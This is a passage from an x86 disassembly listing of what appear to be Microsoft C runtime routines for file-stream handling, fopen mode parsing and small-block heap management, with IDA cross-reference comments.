sub_417D6C+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_418558 endp ; =============== S U B R O U T I N E ======================================= sub_418568 proc near ; CODE XREF: sub_417D6C+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_418568 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418576 proc near ; CODE XREF: sub_4157F4+17p ; sub_4157F4+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_418594 mov ecx, off_437F20 movzx eax, word ptr [ecx+eax*2] jmp short loc_4185E6 ; --------------------------------------------------------------------------- loc_418594: ; CODE XREF: sub_418576+10j mov ecx, eax push esi mov esi, off_437F20 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_4185B9 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_4185C2 ; --------------------------------------------------------------------------- loc_4185B9: ; CODE XREF: sub_418576+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_4185C2: ; CODE XREF: sub_418576+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41DA93 add esp, 1Ch test eax, eax jnz short loc_4185E2 leave retn ; --------------------------------------------------------------------------- loc_4185E2: ; CODE XREF: sub_418576+68j movzx eax, word ptr [ebp+arg_0+2] loc_4185E6: ; CODE XREF: sub_418576+1Cj and eax, [ebp+arg_4] leave retn sub_418576 endp ; =============== S U B R O U T I N E ======================================= sub_4185EB proc near ; CODE XREF: sub_415960+2Ap ; sub_41DDF6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_46CA60 jnb loc_418685 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:46C960h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_418685 push edi call sub_41DD62 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418664 cmp edi, 1 jz short loc_418632 cmp edi, 2 jnz short loc_418648 loc_418632: ; CODE XREF: sub_4185EB+40j push 2 call sub_41DD62 push 1 mov ebp, eax call sub_41DD62 pop ecx cmp eax, ebp pop ecx jz short loc_418664 loc_418648: ; CODE XREF: sub_4185EB+45j push edi call sub_41DD62 pop ecx push eax call dword_42106C ; CloseHandle test eax, eax jnz short loc_418664 call dword_421088 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_418666 ; --------------------------------------------------------------------------- loc_418664: ; CODE XREF: sub_4185EB+3Bj ; sub_4185EB+5Bj ... xor ebp, ebp loc_418666: ; CODE XREF: sub_4185EB+77j push edi call sub_41DCE8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_418681 push ebp call sub_41CE74 pop ecx jmp short loc_418696 ; --------------------------------------------------------------------------- loc_418681: ; CODE XREF: sub_4185EB+8Bj xor eax, eax jmp short loc_418699 ; --------------------------------------------------------------------------- loc_418685: ; CODE XREF: sub_4185EB+Ej ; sub_4185EB+2Fj and dword_46B638, 0 mov dword_46B634, 9 loc_418696: ; CODE XREF: sub_4185EB+94j or eax, 0FFFFFFFFh loc_418699: ; CODE XREF: sub_4185EB+98j pop edi pop esi pop ebp pop ebx retn sub_4185EB endp ; =============== S U B R O U T I N E ======================================= sub_41869E proc near ; CODE XREF: sub_415960+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_4186C7 test al, 8 jz short loc_4186C7 push dword ptr [esi+8] call sub_415C9B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_4186C7: ; CODE XREF: sub_41869E+Aj ; sub_41869E+Ej pop esi retn sub_41869E endp ; =============== S U B R O U T I N E ======================================= sub_4186C9 proc near ; CODE XREF: sub_418769+2Dp ; sub_418769+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_4186DB push esi call sub_418769 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4186DB: ; CODE XREF: sub_4186C9+7j push esi call sub_418704 test eax, eax pop ecx jz short loc_4186EB or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4186EB: ; CODE XREF: sub_4186C9+1Bj test byte ptr [esi+0Dh], 40h jz short loc_418700 push dword ptr [esi+10h] call sub_41DD9F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_418700: ; CODE XREF: sub_4186C9+26j xor eax, eax pop esi retn sub_4186C9 endp ; =============== S U B R O U T I N E ======================================= sub_418704 proc near ; CODE XREF: sub_415960+1Ap ; sub_416CDE+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_418751 test ax, 108h jz short loc_418751 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_418751 push edi push eax push dword ptr [esi+10h] call sub_41CCC7 add esp, 0Ch cmp eax, edi jnz short loc_41874A mov eax, [esi+0Ch] test al, 80h jz short loc_418751 and al, 0FDh mov [esi+0Ch], eax jmp short loc_418751 ; --------------------------------------------------------------------------- loc_41874A: ; CODE XREF: sub_418704+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_418751: ; CODE XREF: sub_418704+14j ; sub_418704+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_418704 endp ; =============== S U B R O U T I N E ======================================= sub_418760 proc near ; CODE XREF: sub_41DA17p push 1 call sub_418769 pop ecx retn sub_418760 endp ; =============== S U B R O U T I N E ======================================= sub_418769 proc near ; CODE XREF: sub_4186C9+Ap ; sub_418760+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_46C940, esi jle short loc_4187C7 loc_41877A: ; CODE XREF: sub_418769+5Cj mov eax, dword_46B928 mov eax, [eax+esi*4] test eax, eax jz short loc_4187BE mov ecx, [eax+0Ch] test cl, 83h jz short loc_4187BE cmp [esp+0Ch+arg_0], 1 jnz short loc_4187A4 push eax call sub_4186C9 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4187BE inc ebx jmp short loc_4187BE ; --------------------------------------------------------------------------- loc_4187A4: ; CODE XREF: sub_418769+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_4187BE test cl, 2 jz short loc_4187BE push eax call sub_4186C9 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4187BE or edi, eax loc_4187BE: ; CODE XREF: sub_418769+1Bj ; sub_418769+23j ... inc esi cmp esi, dword_46C940 jl short loc_41877A loc_4187C7: ; CODE XREF: sub_418769+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_4187D2 mov eax, edi loc_4187D2: ; CODE XREF: sub_418769+65j pop edi pop esi pop ebx retn sub_418769 endp ; =============== S U B R O U T I N E ======================================= sub_4187D6 proc near ; CODE XREF: sub_4159B6+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41D94C test eax, eax pop ecx jz short loc_41885F cmp esi, offset dword_43A658 jnz short loc_4187F4 xor eax, eax jmp short loc_4187FF ; --------------------------------------------------------------------------- loc_4187F4: ; CODE XREF: sub_4187D6+18j cmp esi, offset dword_43A678 jnz short loc_41885F push 1 pop eax loc_4187FF: ; CODE XREF: sub_4187D6+1Cj inc dword_46B7F8 test word ptr [esi+0Ch], 10Ch jnz short loc_41885F cmp dword_46B68C[eax*4], 0 push ebx push edi lea edi, ds:46B68Ch[eax*4] mov ebx, 1000h jnz short loc_418845 push ebx call sub_415BE9 test eax, eax pop ecx mov [edi], eax jnz short loc_418845 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_418852 ; --------------------------------------------------------------------------- loc_418845: ; CODE XREF: sub_4187D6+4Dj ; sub_4187D6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_418852: ; CODE XREF: sub_4187D6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41885F: ; CODE XREF: sub_4187D6+10j ; sub_4187D6+24j ... xor eax, eax pop esi retn sub_4187D6 endp ; =============== S U B R O U T I N E ======================================= sub_418863 proc near ; CODE XREF: sub_4159B6+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41888D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41889E push esi call sub_418704 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41888D: ; CODE XREF: sub_418863+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41889E push eax call sub_418704 pop ecx loc_41889E: ; CODE XREF: sub_418863+10j ; sub_418863+32j pop esi retn sub_418863 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188A0 proc near ; CODE XREF: sub_4159E8+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_46B800 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_4188D9 cmp al, 72h jz short loc_4188D2 cmp al, 77h jnz loc_4189ED mov ecx, 301h jmp short loc_4188DE ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4188A0+21j xor ecx, ecx or esi, 1 jmp short loc_4188E1 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4188A0+1Dj mov ecx, 109h loc_4188DE: ; CODE XREF: sub_4188A0+30j or esi, 2 loc_4188E1: ; CODE XREF: sub_4188A0+37j push 1 pop edx loc_4188E4: ; CODE XREF: sub_4188A0+8Bj ; sub_4188A0+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_4189D3 cmp edx, ebx jz loc_4189D3 movsx eax, al cmp eax, 54h jg short loc_418972 jz short loc_418962 sub eax, 2Bh jz short loc_41894C sub eax, 19h jz short loc_418942 sub eax, 0Eh jz short loc_41892D dec eax jnz loc_4189C4 cmp [ebp+var_4], ebx jnz loc_4189C4 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_4188E4 ; --------------------------------------------------------------------------- loc_41892D: ; CODE XREF: sub_4188A0+6Fj cmp [ebp+var_4], ebx jnz loc_4189C4 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_4188E4 ; --------------------------------------------------------------------------- loc_418942: ; CODE XREF: sub_4188A0+6Aj test cl, 40h jnz short loc_4189C4 or ecx, 40h jmp short loc_4188E4 ; --------------------------------------------------------------------------- loc_41894C: ; CODE XREF: sub_4188A0+65j test cl, 2 jnz short loc_4189C4 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_4188E4 ; --------------------------------------------------------------------------- loc_418962: ; CODE XREF: sub_4188A0+60j mov eax, 1000h test ecx, eax jnz short loc_4189C4 or ecx, eax jmp loc_4188E4 ; --------------------------------------------------------------------------- loc_418972: ; CODE XREF: sub_4188A0+5Ej sub eax, 62h jz short loc_4189BF dec eax jz short loc_4189A8 sub eax, 0Bh jz short loc_418991 sub eax, 6 jnz short loc_4189C4 test ch, 0C0h jnz short loc_4189C4 or ch, 40h jmp loc_4188E4 ; --------------------------------------------------------------------------- loc_418991: ; CODE XREF: sub_4188A0+DDj cmp [ebp+var_8], ebx jnz short loc_4189C4 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_4188E4 ; --------------------------------------------------------------------------- loc_4189A8: ; CODE XREF: sub_4188A0+D8j cmp [ebp+var_8], ebx jnz short loc_4189C4 mov [ebp+var_8], 1 or esi, 4000h jmp loc_4188E4 ; --------------------------------------------------------------------------- loc_4189BF: ; CODE XREF: sub_4188A0+D5j test ch, 0C0h jz short loc_4189CB loc_4189C4: ; CODE XREF: sub_4188A0+72j ; sub_4188A0+7Bj ... xor edx, edx jmp loc_4188E4 ; --------------------------------------------------------------------------- loc_4189CB: ; CODE XREF: sub_4188A0+122j or ch, 80h jmp loc_4188E4 ; --------------------------------------------------------------------------- loc_4189D3: ; CODE XREF: sub_4188A0+4Aj ; sub_4188A0+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41DDF6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_4189F1 loc_4189ED: ; CODE XREF: sub_4188A0+25j xor eax, eax jmp short loc_418A0B ; --------------------------------------------------------------------------- loc_4189F1: ; CODE XREF: sub_4188A0+14Bj mov eax, [ebp+arg_C] inc dword_46B7F8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_418A0B: ; CODE XREF: sub_4188A0+14Fj pop edi pop esi pop ebx leave retn sub_4188A0 endp ; =============== S U B R O U T I N E ======================================= sub_418A10 proc near ; CODE XREF: sub_4159E8p mov edx, dword_46C940 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_418A81 mov ebx, dword_46B928 mov edi, ebx loc_418A2C: ; CODE XREF: sub_418A10+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_418A47 test byte ptr [ecx+0Ch], 83h jz short loc_418A42 inc eax add edi, 4 cmp eax, edx jl short loc_418A2C jmp short loc_418A81 ; --------------------------------------------------------------------------- loc_418A42: ; CODE XREF: sub_418A10+26j mov esi, [ebx+eax*4] jmp short loc_418A6B ; --------------------------------------------------------------------------- loc_418A47: ; CODE XREF: sub_418A10+20j mov edi, eax push 20h shl edi, 2 call sub_415BE9 pop ecx mov ecx, dword_46B928 mov [edi+ecx], eax mov eax, dword_46B928 mov edi, [edi+eax] cmp edi, ebp jz short loc_418A81 mov esi, edi loc_418A6B: ; CODE XREF: sub_418A10+35j cmp esi, ebp jz short loc_418A81 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_418A81: ; CODE XREF: sub_418A10+12j ; sub_418A10+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_418A10 endp ; =============== S U B R O U T I N E ======================================= sub_418A88 proc near ; CODE XREF: sub_415BFB+1Fp ; sub_41737F+126p ... arg_0 = dword ptr 4 mov eax, dword_46B698 test eax, eax jz short loc_418AA0 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_418AA0 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418AA0: ; CODE XREF: sub_418A88+7j ; sub_418A88+12j xor eax, eax retn sub_418A88 endp ; =============== S U B R O U T I N E ======================================= sub_418AA3 proc near ; CODE XREF: sub_418AD0+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_4210C8 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_418ACE mov ecx, [eax+3Ch] test ecx, ecx jz short loc_418ACE add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_418ACE: ; CODE XREF: sub_418AA3+15j ; sub_418AA3+1Cj pop esi retn sub_418AA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AD0 proc near ; CODE XREF: sub_418C18+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_415B90 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_42110C ; GetVersionExA test eax, eax jz short loc_418B13 cmp [ebp+var_88], 2 jnz short loc_418B13 cmp [ebp+var_94], 5 jb short loc_418B13 push 1 pop eax jmp loc_418C15 ; --------------------------------------------------------------------------- loc_418B13: ; CODE XREF: sub_418AD0+27j ; sub_418AD0+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_421170 ; GetEnvironmentVariableA test eax, eax jz loc_418C02 xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_418B55 loc_418B42: ; CODE XREF: sub_418AD0+83j mov al, [ecx] cmp al, 61h jl short loc_418B50 cmp al, 7Ah jg short loc_418B50 sub al, 20h mov [ecx], al loc_418B50: ; CODE XREF: sub_418AD0+76j ; sub_418AD0+7Aj inc ecx cmp [ecx], bl jnz short loc_418B42 loc_418B55: ; CODE XREF: sub_418AD0+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_416D70 add esp, 0Ch test eax, eax jnz short loc_418B77 lea eax, [ebp+var_122C] jmp short loc_418BC0 ; --------------------------------------------------------------------------- loc_418B77: ; CODE XREF: sub_418AD0+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_42107C ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_418BAB loc_418B98: ; CODE XREF: sub_418AD0+D9j mov al, [ecx] cmp al, 61h jl short loc_418BA6 cmp al, 7Ah jg short loc_418BA6 sub al, 20h mov [ecx], al loc_418BA6: ; CODE XREF: sub_418AD0+CCj ; sub_418AD0+D0j inc ecx cmp [ecx], bl jnz short loc_418B98 loc_418BAB: ; CODE XREF: sub_418AD0+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_4158E0 pop ecx pop ecx loc_418BC0: ; CODE XREF: sub_418AD0+A5j cmp eax, ebx jz short loc_418C02 push 2Ch push eax call sub_416F20 pop ecx cmp eax, ebx pop ecx jz short loc_418C02 inc eax mov ecx, eax cmp [eax], bl jz short loc_418BE7 loc_418BD9: ; CODE XREF: sub_418AD0+115j cmp byte ptr [ecx], 3Bh jnz short loc_418BE2 mov [ecx], bl jmp short loc_418BE3 ; --------------------------------------------------------------------------- loc_418BE2: ; CODE XREF: sub_418AD0+10Cj inc ecx loc_418BE3: ; CODE XREF: sub_418AD0+110j cmp [ecx], bl jnz short loc_418BD9 loc_418BE7: ; CODE XREF: sub_418AD0+107j push 0Ah push ebx push eax call sub_416711 add esp, 0Ch cmp eax, 2 jz short loc_418C15 cmp eax, 3 jz short loc_418C15 cmp eax, 1 jz short loc_418C15 loc_418C02: ; CODE XREF: sub_418AD0+5Cj ; sub_418AD0+F2j ... lea eax, [ebp+var_4] push eax call sub_418AA3 cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_418C15: ; CODE XREF: sub_418AD0+3Ej ; sub_418AD0+126j ... pop ebx leave retn sub_418AD0 endp ; =============== S U B R O U T I N E ======================================= sub_418C18 proc near ; CODE XREF: seg001:00417B72p arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_421178 ; HeapCreate test eax, eax mov dword_46CCA4, eax jz short loc_418C6E call sub_418AD0 cmp eax, 3 mov dword_46CCA8, eax jnz short loc_418C54 push 3F8h call sub_418C75 pop ecx jmp short loc_418C5E ; --------------------------------------------------------------------------- loc_418C54: ; CODE XREF: sub_418C18+2Dj cmp eax, 2 jnz short loc_418C71 call sub_4197BC loc_418C5E: ; CODE XREF: sub_418C18+3Aj test eax, eax jnz short loc_418C71 push dword_46CCA4 call dword_421174 ; HeapDestroy loc_418C6E: ; CODE XREF: sub_418C18+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_418C71: ; CODE XREF: sub_418C18+3Fj ; sub_418C18+48j push 1 pop eax retn sub_418C18 endp ; =============== S U B R O U T I N E ======================================= sub_418C75 proc near ; CODE XREF: sub_418C18+34p arg_0 = dword ptr 4 push 140h push 0 push dword_46CCA4 call dword_42114C ; RtlAllocateHeap test eax, eax mov dword_46CC9C, eax jnz short loc_418C92 retn ; --------------------------------------------------------------------------- loc_418C92: ; CODE XREF: sub_418C75+1Aj mov ecx, [esp+arg_0] and dword_46CC94, 0 and dword_46CC98, 0 push 1 mov dword_46CC90, eax mov dword_46CCA0, ecx mov dword_46CC88, 10h pop eax retn sub_418C75 endp ; =============== S U B R O U T I N E ======================================= sub_418CBD proc near ; CODE XREF: sub_415C9B+17p ; sub_41737F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_46CC98 lea ecx, [eax+eax*4] mov eax, dword_46CC9C lea ecx, [eax+ecx*4] loc_418CCD: ; CODE XREF: sub_418CBD+26j cmp eax, ecx jnb short loc_418CE5 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_418CE7 add eax, 14h jmp short loc_418CCD ; --------------------------------------------------------------------------- loc_418CE5: ; CODE XREF: sub_418CBD+12j xor eax, eax locret_418CE7: ; CODE XREF: sub_418CBD+21j retn sub_418CBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418CE8 proc near ; CODE XREF: sub_415C9B+23p ; sub_41737F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41900C mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_418DBE sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_418D4C push 3Fh pop edx loc_418D4C: ; CODE XREF: sub_418CE8+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_418DA0 cmp edx, 20h jnb short loc_418D77 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_418D98 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_418D98 ; --------------------------------------------------------------------------- loc_418D77: ; CODE XREF: sub_418CE8+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_418D98 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_418D98: ; CODE XREF: sub_418CE8+86j ; sub_418CE8+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_418DA3 ; --------------------------------------------------------------------------- loc_418DA0: ; CODE XREF: sub_418CE8+6Aj mov ecx, [ebp+var_4] loc_418DA3: ; CODE XREF: sub_418CE8+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_418DBE: ; CODE XREF: sub_418CE8+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_418DCC push 3Fh pop edx loc_418DCC: ; CODE XREF: sub_418CE8+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_418E6F sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_418DF1 mov ebx, esi loc_418DF1: ; CODE XREF: sub_418CE8+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_418E03 mov edx, esi loc_418E03: ; CODE XREF: sub_418CE8+117j cmp ebx, edx jz short loc_418E6A mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_418E52 cmp ebx, 20h jnb short loc_418E33 mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_418E52 mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_418E52 ; --------------------------------------------------------------------------- loc_418E33: ; CODE XREF: sub_418CE8+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_418E52 mov ecx, [ebp+arg_0] and [ecx+4], esi loc_418E52: ; CODE XREF: sub_418CE8+128j ; sub_418CE8+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_418E6A: ; CODE XREF: sub_418CE8+11Dj mov esi, [ebp+arg_4] jmp short loc_418E72 ; --------------------------------------------------------------------------- loc_418E6F: ; CODE XREF: sub_418CE8+EDj mov ebx, [ebp+arg_0] loc_418E72: ; CODE XREF: sub_418CE8+185j cmp [ebp+var_C], 0 jnz short loc_418E80 cmp ebx, edx jz loc_418F01 loc_418E80: ; CODE XREF: sub_418CE8+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_418F01 mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_418ED8 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418EC7 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_418EC7: ; CODE XREF: sub_418CE8+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_418F01 ; --------------------------------------------------------------------------- loc_418ED8: ; CODE XREF: sub_418CE8+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418EEE lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_418EEE: ; CODE XREF: sub_418CE8+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_418F01: ; CODE XREF: sub_418CE8+192j ; sub_418CE8+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41900C mov eax, dword_46CC94 test eax, eax jz loc_418FFE mov ecx, dword_46CC8C mov esi, dword_42117C shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_46CC8C mov eax, dword_46CC94 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_46CC94 mov ecx, dword_46CC8C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_46CC94 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_46CC94 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_418F8F and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_46CC94 loc_418F8F: ; CODE XREF: sub_418CE8+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_418FFE push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_46CC94 push dword ptr [eax+10h] push 0 push dword_46CCA4 call dword_421150 ; RtlFreeHeap mov eax, dword_46CC98 mov edx, dword_46CC9C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_46CC94 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_416320 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_46CC98 cmp eax, dword_46CC94 jbe short loc_418FF4 sub [ebp+arg_0], 14h loc_418FF4: ; CODE XREF: sub_418CE8+306j mov eax, dword_46CC9C mov dword_46CC90, eax loc_418FFE: ; CODE XREF: sub_418CE8+234j ; sub_418CE8+2ABj mov eax, [ebp+arg_0] mov dword_46CC8C, edi mov dword_46CC94, eax loc_41900C: ; CODE XREF: sub_418CE8+38j ; sub_418CE8+227j pop edi pop esi pop ebx leave retn sub_418CE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419011 proc near ; CODE XREF: sub_415C27+18p ; sub_41737F+77p 